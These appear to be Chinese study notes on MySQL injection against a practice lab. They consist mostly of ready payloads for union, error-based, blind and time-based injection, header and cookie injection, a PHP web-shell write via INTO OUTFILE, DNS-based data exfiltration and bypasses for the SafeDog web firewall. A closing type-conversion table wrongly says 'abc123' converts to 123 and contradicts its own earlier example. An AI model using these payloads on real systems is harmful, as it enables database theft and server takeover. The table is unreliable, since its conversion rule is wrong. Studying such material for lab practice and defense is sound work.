mysql injection
sql 查詢語句
select 行名 from 表名 where 限定語句
Q:如何判斷是字符型注入還是數字型注入?
A:1.使用 (數字 and 1=1) ,(數字 and 1=2 判斷) ,if可以執行且兩次都一樣是字符型注入,if 數字 and 1=2 報錯則是數字型注入
2.使用(數字a-數字b)判斷,if 回顯為數字a是字符型注入,if回顯為數字a-數字b是數字型注入
3 1^1^1 1^1^0
閉合方式
‘ “ ‘) “)
Q:如何判斷閉合方式?
A:一個一個試(數字符號) if報錯,閉合方法就是該符號
注釋符號
- - +　　#　　%20
聯合查詢 union select
原代碼查詢出來的列數col 必需和 union select 查詢的列數一樣
所以必須先知道原代碼查詢出來的列數col
可以使用 group by　order by　數字 if沒有報錯就代表該數字是正確的行數
得到列數後再用 union select 1,2,3.....數字去讓原代碼查詢出來的列數col=union select 查詢的列數
union select會是原代碼查詢出來的列的下一個列,可能會沒有對到回顯位,因此可以用?id=-1等讓原代碼無法查詢出來的數字,就可以得到下一行的union select 查詢列
最後調整 1,2,3 database() 位置去找到回顯位
重要函數
select database():得到庫名
select version():得到版本名
流程:
1.查找注入點
2.判斷字符型注入還是數字型注入
3.if字符型注入,找到閉合方式
4.判斷查詢行數
5.查詢回顯位 -1
如何拿到表名,行名?
用information_schema庫,裡面有tables表名集合表跟columns行名集合表
查表名: union select table_name from information_schema.tables

union select table_name from information_schema.tables where table_schema=database()
但只能回顯一列數據,所以要用group_concat(),功用是能把所有列的數據集合成一列展示
查行名:union select column_name from information_schema.columns
union select column_name from information_schema.columns where table_schema=database() and table_name=’ ’
最後用表名跟行名查資料 union select from where group_concat(username,’~’,password)插入’~’區分

報錯注入

extractvalue() 第一個參數為行名,第二個參數為xml路徑,if第二個參數的第一個字符有錯,就會回顯錯誤的信息
union select extractvalue(1,concat(0x7e,(select database())))
紅色也可以換成select group_concat(table_name) from information_schema.tables where table_schema=database() 等信息
報錯注入默認只返回32個字符串,所以要用substring(),substr()三個參數,第一個是字串,第二個是從第幾個開始顯示,第三個是一次顯示多少個字符
updatexml()第一個參數是行名,第二個參數為xml路徑,if第二個參數的第一個字符有錯,就會回顯錯誤的信息,第三個參數是更新值
floor()報錯涉及函數
rand():隨機返回0-1間的小數
floor():小數向下取整
concat_ws(1,2,3):將括號內數據用第一個字段連接起來,2,3用1連接
group by:根據一個或多個行,對結果進行列分組
as:別名
count():統計數量
limit:指定顯示列數
rand() from users users表有多少列就計算幾次 ,主要目的是讓rand()產生足夠次數的計算,一般使用列數較多的默認數據表 information_schema.tables
select concat_ws(‘-’,(select database()),floor(rand()*2)) as a from information_schema.tables group by a:形成只有 database-0 database-1 兩列
select count(*),concat_ws(‘-’,(select database()),floor(rand()*2)) as a from information_schema.tables group by a 用count(*) 統計數字
rand(數字)會讓每次隨機值都一樣

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a　rand()函數進行分組
group by 和統計count()時可能會執行多次,導致key重複報錯回顯
當group_concat無法使用時,可以用
concat('~',username,':',password)
然後再用limit 0,1限制顯示列
limit 第一個數字代表從第幾列開始,第二個數字代表一次顯示多少列

布耳盲注

當web頁面只返回ture真,false假兩種類型,利用頁面返回不同,逐一猜解數據
函數 ascii('字母'):把字母變成數字
利用 and ascii(substring((select database()),1,1)) = > < 字母數字
一個一個慢慢試(二分法)
?id=1' and ascii(substring((select database()),1,1)) = > < 字母數字
?id=1' and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) = > < 字母數字--+
也可以寫?id=-1' or
布爾盲注閉合符判斷
?id=1' 假
?id=1'--+真
?id=1" 真

時間盲注

如果上述都沒有辦法,可以利用時間盲注
函數sleep(數字) 可以休眠數字秒
函數if()第一個參數是判斷條件,第二個參數是真時執行,第三個參數是假時執行
select if(1=1,sleep(0),sleep(3))
select if(ascii(substring((select database()),1,1))>100,sleep(0),sleep(3))
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))--+
時間盲注閉合符判斷
?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+

?id=1') and sleep(2)--+
哪一個成功代表閉合是哪一種
mysql文件上傳
show variables like'%secure%' 用來查看mysql是否有讀寫文件權限
secure_file_priv有三種狀態1.空 對所有路徑都可以進行讀寫2.特定路徑只能對特定路徑進行讀寫3.no
into outfile 寫一個文件到目標服務器上
目標:把目標靶場上上傳一句話木馬,php文件
用法1.直接寫在網站根目錄下,用一句話木馬連接(一般文件上傳
2.發現目標網站有文件包含,數據庫有寫入一句話木馬的權限,文件包含包含所寫得一句話木馬,不用在網站根目錄 下,可以在服務器任何一個路徑下面
命令?id=-1' union select 1,"<?php @eval($_POST['password']);?>",3 into outfile"D:\\phpstudy_pro\\WWW\\ben.php"--+(windows
因為password已經用" 所以外面用""避免前後閉合
路徑要用雙斜槓
DNSlog 注入
load_file():讀取文件,也可以讀取windows其他服務器,電腦共享文件
sql路徑要用反斜槓/
UNC路徑:windows服務器互相用unc路徑訪問共享文件
and (select load_file(concat("//",(select database()),".域名/benben.txt")))
利用dns解析,去找自己設置的dns解析網站,取得目標
post union 注入
post 報錯注入
用burpsuite抓包然後修改post裡面的值即可
uname=admin&passwd=admin&submit=Submit
用admin' or 1=1# 萬能密鑰
http頭 augent注入
post注入時,頁面看不到明顯變化,找不到注入點,可以嘗試報頭注入看是否有回顯 user-agent referer cookie 等平常看不見的字段,可以在這些字段提交單引號等看看是否有注入.但主要通過查看原代碼分析
分析原代碼:
$uname=check_input($con,$_POST['uname']);
$passwd=check_input($con,$_POST['passwd']);
check_input()裡面還有mysqli_real_escpae()把'變成\'

2. 程式把 ' 變成 \' 的原因(避免注入)

在 **PHP**、**MySQL**、某些後端框架裡，
如果你輸入：

```
'
```

程式可能會自動把它轉成：

```
\'
```

這叫「**escaping**（跳脫字元）」。

- `\` 的作用是保護 `'`
  讓 `'` 變成一般字元，不再用於結束字串

例如：

```
SELECT * FROM users WHERE username = 'abc\'def'
```

在 SQL 裡，它被解讀成：

```
abc'def
```

所以不會破壞語法，也就不能注入。
所以uname,passwd沒辦法注入了
接著看下面的代碼,發現有$insert="INSERT INTO 'security'.'uagents' ('uagent','ip_address', 'username') VALUES ('$uagent', '$IP' '$uname')";只有$uagent沒有過濾 ip 不用管
在burpsuite裡面找到User-Agent,改成' or updatexml(1,concat('~',select database()),3),2,3) # 用報錯注入

http頭部referer注入

跟上面一 樣

http頭部cookie注入

$result1=mysql_query($sql);
$row1=mysql_fetch_array($result1);
$cookee=$row1['username'];

setcookie('uname',$cookee,time()+3600)
setcookie(name,value,expire)
name:必須,規定cookie的名稱
value:必須,規定cookie的值
expire:可選,規定cookie的有效期
生成cookie後

$cookee=$_COOKIE[‘uname’];
echo “YOUR COOKIE:uname=$cookee and
expires:”.date($format,$timestamp);
有效期內再次刷新頁面,客戶端向數據庫服務器發送cookie進行驗證,不需要再次輸入用戶名跟密碼,且提交的$cookie不再進行check_input驗證
$sql=”SELECT * FROM users WHERE
users.username=’$cookee’LIMIT 0,1”;
$result=mysql_query($sql);
if(!$result)
{die(‘issue with your mysql:’mysql_error());}
找到cookie: uname=admin,發現回顯位是
yourloginname,yourpassword,yourid
用order by檢查一次確認3
再用cookie: uname=’ union select 1,2,(select databae())#

sql注入過濾注釋符繞過

用注釋符但無法成功,考慮是被waf把敏感字或語句過濾掉了
從簡單的注入語句開始,一步步增加複雜性,通過此方法判斷過濾度對象.判斷過程類似搭積木一樣,一點點增加積木高度,判斷到那個高度容易倒塌,則對其進行優化
$reg=”/#/”;
$reg1=”/--/”;
$replace=””;
$id=preg_replace($reg,$replace,$id);
$id=preg_replace($reg1,$replace,$id);
解決方法:
1最後面再加一個 ‘ 把後面的原代碼裡的 ‘ 手動閉合
2數字型不用管
3最後面加 or ‘1’=’1 把後面的原代碼裡的 ‘ 手動閉合

sql注入過濾and和or繞過

$id=preg_replace(‘/or/i’,””,$id);
$id=preg_replace(‘/and/i’,””,$id);
解決方法:
1使用大小寫繞過 anD
2複寫過濾字符 anandd
3用&&取代and ||取代or 用%26代替&

sql注入過濾空格繞過

解決方法:
1用+代替空格

2用url編碼代替空格
space------%20
換行符------%0A
-OA-(MYSQL only)------%A0
3報錯注入
?id=1000'||extractvalue(1,concat('$',(database())))||'1'='1
select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()) 多用括號()以達到不適用空格的效果
limit替換函數
mid()與substr()用法相同

sql注入過濾逗號繞過

select u.*,e.*from users u,emails e where u.id=e.id等價於
select u.*,e.*from users u join emails e on u.id=e.id;
union select 1,2,3等價於
union select *from (select 1)a join (select 2)b join (select 3)c

sql注入過濾union和select繞過

解決方法:
1使用大小寫繞過
2複寫過濾字符
3報錯注入
4url編碼繞過 union select 使用 union%A0select可以繞過

寬字節注入

函數addslashes():在指定的預定義字符前加反斜槓,這些字符是單引號,雙引號,反斜線與null
GBKB編碼
寬字節繞過原理:在前面加一個%df'會轉義'為\' 但\(%5c)編碼為92,%df的編碼為223,%df%5c符合GBK取值範圍,會解析成一個漢字(運),這樣\就會失去原有的作用
前提:要求對方mysql數據庫的編碼方式是gbk編碼,並且發請求聲明客戶端用的也是gbk編碼

waf繞過常用手法

用注釋符但無法成功,考慮是被waf把敏感字或語句過濾掉了

從簡單的注入語句開始,一步步增加複雜性,通過此方法判斷過濾度對象.判斷過程類似搭積木一樣,一點點增加積木高度,判斷到那個高度容易倒塌,則對其進行優化
可以把字母刪掉一個試試看
1.注釋:/*xxx*/ /*!xxx*/ 加!代表雖然是注釋但還是要執行
/*!50000xxx*/ 代表超過5.000版本才會執行命令
2 1^1^1 1^1^0判斷數字型 字符型
3 在union /*xxx*/ select插注釋符 or union /*!90000xxx*/ select
在語句中插入/*!90000xxx*/
4 database(/*!90000xxx*/)

安全狗3.5繞過

1 id=?1'^1^0 --+不正常　id=?1'^1^1--+ 正常可以判斷為單引號閉合
2 在字串中加入--+b%0A union --+b%0A select
3 可能是不能出現某一個單字或者不能出現某個組合,可以刪掉一個字母慢慢試試看
4 information_schema.tables 無法用,所以可以替換為
sys.schema_table_statistics_with _buffer
sys.x$ps_schema_table_statistics_io
5 information_schema.columns 無法用,所以可以替換為
union select * from (select * from users as a join users b using())c
--+ (利用join時會產生兩個重複的行名產生報錯,再利用using(行名)讓行名只有一個,報錯下一個行名)
(只有在可以報錯注入時才可以用)
拿到全部資訊後,再用union select
1,2,group_concat(username,password) from users

安全狗3.5超大數據包繞過

1用post提交超大數據包進行繞過
2 ?id=1’ /*塞數據*/ union select……..

安全狗分塊傳輸繞過

1要添加post提交Transfer-Encoding:chunked
1
i
2
d=

1
2
0

最後要有兩個換行此payload id=2
多少個字
payload
多少個字
payload
多少個字
payload
0

核心觀念：字符型 vs 數字型

不是看資料型態 **(INT / VARCHAR)**
也不是看資料庫裡面有沒有引號

👉 真正決定類型的是「程式怎麼組 **SQL**」

🟥 四種組合（最完整版本）

我們依兩個面向切：

1. 資料表欄位類型（INT / VARCHAR）
2. 應用程式 **SQL** 組法（id=$id / id='$id'）

做成表格就變四種情況：

🟦（1）欄位 INT + 程式 id=$id（無引號）

👉 數字型注入（**Numeric Injection**）

MySQL 將 `$id` 當 純數字運算
你可以塞：

- `1+1`
- `1^1^0`
- `999999999 OR 1=1`

🔹 **MySQL 行為**

- 如果你塞字串 `abc123`
  → 會轉成 `0` 再比較

- 如果你塞 `1^1^0`
  → 會先做 XOR 計算（因為不在引號內）

🔸 例子

```
?id=1+1           → id=2
?id=1^1^0         → 1 XOR 1 XOR 0 = 0
?id=10 OR 1=1     → 全部列出
?id=abc123        → id=0   （字串→數字）
```

🟩（2）欄位 INT + 程式 id='$id'（有引號）

👉 字符型注入（**String Injection**）
👉 但比較時 INT 欄位仍會把字串轉成數字比對（隱式轉換）

🔹 **MySQL 行為：**

引號中的內容被視為字串，但走 **INT** 欄位時會轉成數字：

字串 → 數字規則：

字串	轉成
`'123xyz'`	123
`'1abc'`	1
`'0xxxx'`	0
`'abc123'`	123

🔸 例子

```
?id='1'
```

```
?id='1abc'    → 1
?id='0xyz'    → 0
?id='123xyz' → 123
?id='1 OR 1=1' → 字符型注入成功
```

這裡的特點：
➡️ 你能用引號逃逸 **`id='1' OR 1=1--`**

🟨（3）欄位 VARCHAR + 程式 id=$id（無引號）

👉 數字型注入（因為你沒有引號）
👉 即使欄位是字串，MySQL 會把兩邊都轉數字後比較

🔹 MySQL 行為

例如欄位值是 `'123abc'`
執行：`id=123xyz`
比較時：

- `'123abc'` → 123
- `123xyz` → 123

👉 會被當成 match！

🔸 例子

表格內容存：

```
id = "123abc"
```

查詢：

```
?id=123xyz
```

MySQL 轉換：

```
"123abc" -> 123
```

```
"123xyz" -> 123
```

➡️ 居然可以查出來

🟧（4）欄位 VARCHAR + 程式 id='$id'（有引號）

👉 真正的字符型注入（**String Injection**）

雙方都保持字串比對，沒有任何隱式轉數字。

好處：

你塞什麼就是什麼，不會被 MySQL 自動轉型。

🔸 例子：

```
?id='abc'
?id='123xyz'
?id='1 OR 1=1'          -- 注入成功
?id='a'='a'
?id='%' LIKE '%'        -- 可玩萬用字元
```

💥 四象限超清楚表（你可以收藏）

欄位型態	程式碼	注入類型	行為
INT	id=$id	數字型	數學運算、字串→數字
INT	id='$id'	字符型	字串進入 SQL，但比對時仍轉數字
VARCHAR	id=$id	數字型	雙方字串→數字比較
VARCHAR	id='$id'	字符型	字串比對，無隱式轉型